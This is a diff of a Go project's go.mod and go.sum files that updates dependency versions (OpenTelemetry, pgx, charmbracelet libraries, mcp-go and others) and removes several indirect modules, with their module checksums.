github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc // indirect
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible // indirect
github.com/go-viper/mapstructure/v2 v2.5.0 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
github.com/google/go-querystring v1.1.0 // indirect
@@ -166,12 +163,9 @@ require (
github.com/gorilla/websocket v1.5.3 // indirect
github.com/gregdel/pushover v1.4.0 // indirect
github.com/invopop/jsonschema v0.13.0 // indirect
github.com/joho/godotenv v1.5.1 // indirect
github.com/jordan-wright/email v4.0.1-0.20210109023952-943e75fe5223+incompatible // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/kaptinlin/go-i18n v0.2.3 // indirect
github.com/kaptinlin/jsonpointer v0.4.9 // indirect
github.com/kaptinlin/jsonschema v0.6.10 // indirect
github.com/kaptinlin/messageformat-go v0.4.9 // indirect
github.com/kevinburke/go-types v0.0.0-20240719050749-165e75e768f7 // indirect
github.com/kevinburke/rest v0.0.0-20250718180114-1a15e4f2364f // indirect
github.com/kevinburke/twilio-go v0.0.0-20250718182727-5fe7adc01f29 // indirect
@@ -186,7 +180,6 @@ require (
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/oapi-codegen/runtime v1.1.2 // indirect
github.com/openai/openai-go/v2 v2.7.1 // indirect
github.com/pires/go-proxyproto v0.8.1 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
@@ -195,7 +188,7 @@ require (
github.com/sendgrid/rest v2.6.9+incompatible // indirect
github.com/sendgrid/sendgrid-go v3.16.1+incompatible // indirect
github.com/silenceper/wechat/v2 v2.1.11 // indirect
github.com/slack-go/slack v0.17.3 // indirect
github.com/slack-go/slack v0.24.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spiffe/go-spiffe/v2 v2.6.0 // indirect
github.com/stretchr/objx v0.5.3 // indirect
@@ -214,18 +207,17 @@ require (
github.com/yuin/goldmark-emoji v1.0.5 // indirect
go.mau.fi/util v0.9.3 // indirect
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
go.opentelemetry.io/contrib/detectors/gcp v1.40.0 // indirect
go.opentelemetry.io/contrib/detectors/gcp v1.43.0 // indirect
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 // indirect
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 // indirect
go.opentelemetry.io/otel v1.40.0 // indirect
go.opentelemetry.io/otel/metric v1.40.0 // indirect
go.opentelemetry.io/otel/sdk v1.40.0 // indirect
go.opentelemetry.io/otel/sdk/metric v1.40.0 // indirect
go.opentelemetry.io/otel/trace v1.40.0 // indirect
go.opentelemetry.io/otel v1.43.0 // indirect
go.opentelemetry.io/otel/metric v1.43.0 // indirect
go.opentelemetry.io/otel/sdk v1.43.0 // indirect
go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect
go.opentelemetry.io/otel/trace v1.43.0 // indirect
google.golang.org/appengine/v2 v2.0.6 // indirect
google.golang.org/genai v1.49.0 // indirect
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171 // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478 // indirect
gopkg.in/go-playground/validator.v9 v9.31.0 // indirect
)
@@ -239,7 +231,7 @@ require (
github.com/VividCortex/ewma v1.2.0 // indirect
github.com/akutz/memconn v0.1.0 // indirect
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
github.com/atotto/clipboard v0.1.4 // indirect
github.com/atotto/clipboard v0.1.4
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/aws/aws-sdk-go-v2 v1.41.3 // indirect
@@ -248,8 +240,8 @@ require (
github.com/carapace-sh/carapace v1.11.0
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/colorprofile v0.4.2
github.com/charmbracelet/x/ansi v0.11.6
github.com/charmbracelet/colorprofile v0.4.3
github.com/charmbracelet/x/ansi v0.11.7
github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
@@ -281,7 +273,7 @@ require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
github.com/jackc/pgx/v5 v5.7.6 // indirect
github.com/jackc/pgx/v5 v5.10.0 // indirect
github.com/jackc/puddle/v2 v2.2.2 // indirect
github.com/jcmturner/gofork v1.7.6 // indirect
github.com/jezek/xgb v1.1.1 // indirect
@@ -289,12 +281,12 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/lucasb-eyer/go-colorful v1.3.0
github.com/lucasb-eyer/go-colorful v1.4.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.45.0
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.23 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
@@ -324,12 +316,12 @@ require (
go4.org/mem v0.0.0-20240501181205-ae6ca9944745 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.36.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/sync v0.22.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.42.0 // indirect
golang.org/x/tools v0.47.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+66 -104
View File
@@ -8,14 +8,12 @@ charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
charm.land/bubbletea/v2 v2.0.2 h1:4CRtRnuZOdFDTWSff9r8QFt/9+z6Emubz3aDMnf/dx0=
charm.land/bubbletea/v2 v2.0.2/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
charm.land/fantasy v0.8.1 h1:2zQovDrd26g+/X2+/6bMomTX54HmZWNNHWeorDO0WRo=
charm.land/fantasy v0.8.1/go.mod h1:KJ8vjy9FH7G2aeR/fL+os2uFHkQ4js2+UJVbsUKCXYM=
charm.land/glamour/v2 v2.0.0 h1:IDBoqLEy7Hdpb9VOXN+khLP/XSxtJy1VsHuW/yF87+U=
charm.land/glamour/v2 v2.0.0/go.mod h1:kjq9WB0s8vuUYZNYey2jp4Lgd9f4cKdzAw88FZtpj/w=
charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c=
charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k=
charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU=
charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc=
charm.land/lipgloss/v2 v2.0.2 h1:xFolbF8JdpNkM2cEPTfXEcW1p6NRzOWTSamRfYEw8cs=
charm.land/lipgloss/v2 v2.0.2/go.mod h1:KjPle2Qd3YmvP1KL5OMHiHysGcNwq6u83MUjYkFvEkM=
charm.land/lipgloss/v2 v2.0.4 h1:lcPeVtcp23SNra7lHy8iYE4UC2aIipVQ47sbGyyxR5Q=
charm.land/lipgloss/v2 v2.0.4/go.mod h1:0653x8epbZSzdDfO/XPS1a/uYPOBeSsCssOpJOqDzik=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
@@ -62,8 +60,8 @@ github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRl
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 h1:DHa2U07rk8syqvCge0QIGMCE1WxGj9njT44GH7zNJLQ=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0/go.mod h1:P4WPRUkOhJC13W//jWpyfJNDAIpvRbAUIYLX/4jtlE0=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0 h1:rIkQfkCOVKc1OiRCNcSDD8ml5RJlZbH/Xsq7lbpynwc=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0/go.mod h1:RD2SsorTmYhF6HkTmDw7KmPYQk8OBYwTkuasChwv7R4=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 h1:UnDZ/zFfG1JhH/DqxIZYU/1CUAlTUScoXD/LcM2Ykk8=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0/go.mod h1:IA1C1U7jO/ENqm/vhi7V9YYpBsp+IMyqNrEN94N7tVc=
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0 h1:7t/qx5Ost0s0wbA/VDrByOooURhp+ikYwv20i9Y07TQ=
@@ -122,8 +120,6 @@ github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpF
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA=
github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5 h1:zWFmPmgw4sveAYi1mRqG+E/g0461cJ5M4bJ8/nc6d3Q=
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5/go.mod h1:nVUlMLVV8ycXSb7mSkcNu9e3v/1TJq2RTlrPwhYWr5c=
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
github.com/aws/aws-sdk-go-v2/config v1.32.11/go.mod h1:twF11+6ps9aNRKEDimksp923o44w/Thk9+8YIlzWMmo=
github.com/aws/aws-sdk-go-v2/credentials v1.19.11 h1:NdV8cwCcAXrCWyxArt58BrvZJ9pZ9Fhf9w6Uh5W3Uyc=
@@ -186,14 +182,14 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab h1:J7XQLgl9sefgTnTGrmX3xqvp5o6MCiBzEjGv5igAlc4=
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab/go.mod h1:hqlYqR7uPKOKfnNeicUbZp0Ps0GeYFlKYtwh5HGDCx8=
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q=
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ=
github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI=
github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ=
github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs=
github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
@@ -208,8 +204,6 @@ github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 h1:DTSZx
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5/go.mod h1:vI5nDVMWi6veaYH+0Fmvpbe/+cv/iJfMntdh+N0+Tms=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/json v0.2.0 h1:DqB+ZGx2h+Z+1s98HOuOyli+i97wsFQIxP2ZQANTPrQ=
github.com/charmbracelet/x/json v0.2.0/go.mod h1:opFIflx2YgXgi49xVUu8gEQ21teFAxyMwvOiZhIvWNM=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
@@ -276,8 +270,6 @@ github.com/djherbis/times v1.6.0/go.mod h1:gOHeRAz2h+VJNZ5Gmc/o7iD9k4wW7NMVqieYC
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dlclark/regexp2 v1.11.5 h1:Q/sSnsKerHeCkc/jSTNq1oCm7KiVgUMZRDUoRu0JQZQ=
github.com/dlclark/regexp2 v1.11.5/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI=
github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPRQmoXZxY82TiewZB8QXiaP1skL7Nun3Y=
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
@@ -321,8 +313,8 @@ github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GM
github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ=
github.com/go-chi/chi/v5 v5.2.3 h1:WQIt9uxdsAbgIYgid+BpYc+liqQZGMHRaUwp0JUcvdE=
github.com/go-chi/chi/v5 v5.2.3/go.mod h1:L2yAIGWB3H+phAw1NxKwWM+7eUH/lU8pOMm5hHcoops=
github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs=
github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
github.com/go-jose/go-jose/v4 v4.1.4 h1:moDMcTHmvE6Groj34emNPLs/qtYXRVcd6S7NHbHz3kA=
github.com/go-jose/go-jose/v4 v4.1.4/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e h1:Lf/gRkoycfOBPa42vU2bbgPurFong6zXeFtPoxholzU=
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e/go.mod h1:uNVvRXArCGbZ508SxYYTC5v1JWoz2voff5pm25jU1Ok=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
@@ -354,8 +346,6 @@ github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible h1:2cauKuaEL
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible/go.mod h1:qf9acutJ8cwBUhm1bqgz6Bei9/C/c93FPDljKWwsOgM=
github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U=
github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE=
github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro=
github.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737 h1:cf60tHxREO3g1nroKr2osU3JWZsJzkfi7rEg+oAB0Lo=
github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737/go.mod h1:MIS0jDzbU/vuM9MC4YnBITCv+RYuTRq8dJzmCrFsK9g=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
@@ -364,8 +354,6 @@ github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
@@ -467,8 +455,8 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.7.6 h1:rWQc5FwZSPX58r1OQmkuaNicxdmExaEz5A2DO2hUuTk=
github.com/jackc/pgx/v5 v5.7.6/go.mod h1:aruU7o91Tc2q2cFp5h4uP3f6ztExVpyVv88Xl/8Vl8M=
github.com/jackc/pgx/v5 v5.10.0 h1:VhSvgU2jSli8o3AqIEOTJr7rZwAEUVo4E4XhR94Zfr0=
github.com/jackc/pgx/v5 v5.10.0/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4=
github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo=
github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
@@ -494,14 +482,6 @@ github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5G
github.com/jsimonetti/rtnetlink v1.4.2/go.mod h1:92s6LJdE+1iOrw+F2/RO7LYI2Qd8pPpFNNUYW06gcoM=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kaptinlin/go-i18n v0.2.3 h1:jyN/YOXXLcnGRBLdU+a8+6782B97fWE5aQqAHtvvk8Q=
github.com/kaptinlin/go-i18n v0.2.3/go.mod h1:O+Ax4HkMO0Jt4OaP4E4WCx0PAADeWkwk8Jgt9bjAU1w=
github.com/kaptinlin/jsonpointer v0.4.9 h1:o//bYf4PCvnMJIIX8bIg77KB6DO3wBPAabRyPRKh680=
github.com/kaptinlin/jsonpointer v0.4.9/go.mod h1:9y0LgXavlmVE5FSHShY5LRlURJJVhbyVJSRWkilrTqA=
github.com/kaptinlin/jsonschema v0.6.10 h1:CYded7nrwVu7pU1GaIjtd9dSzgqZjh7+LTKFaWqS08I=
github.com/kaptinlin/jsonschema v0.6.10/go.mod h1:ZXZ4K5KrRmCCF1i6dgvBsQifl+WTb8XShKj0NpQNrz8=
github.com/kaptinlin/messageformat-go v0.4.9 h1:FR5j5n4aL4nG0afKn9vvANrKxLu7HjmbhJnw5ogIwAQ=
github.com/kaptinlin/messageformat-go v0.4.9/go.mod h1:qZzrGrlvWDz2KyyvN3dOWcK9PVSRV1BnfnNU+zB/RWc=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
@@ -541,8 +521,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
@@ -551,8 +531,6 @@ github.com/mailgun/mailgun-go/v5 v5.8.1 h1:QoRa2oBqLq+8GTYgM4id/cKW/WySQRka3PtnW
github.com/mailgun/mailgun-go/v5 v5.8.1/go.mod h1:qNTXXuJi9/myqpDLI8Mbn54WCXdto1kEHm6I2/WWYQQ=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mark3labs/mcp-go v0.43.2 h1:21PUSlWWiSbUPQwXIJ5WKlETixpFpq+WBpbMGDSVy/I=
github.com/mark3labs/mcp-go v0.43.2/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
github.com/mark3labs/mcp-go v0.45.0 h1:s0S8qR/9fWaQ3pHxz7pm1uQ0DrswoSnRIxKIjbiQtkc=
github.com/mark3labs/mcp-go v0.45.0/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
@@ -565,8 +543,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
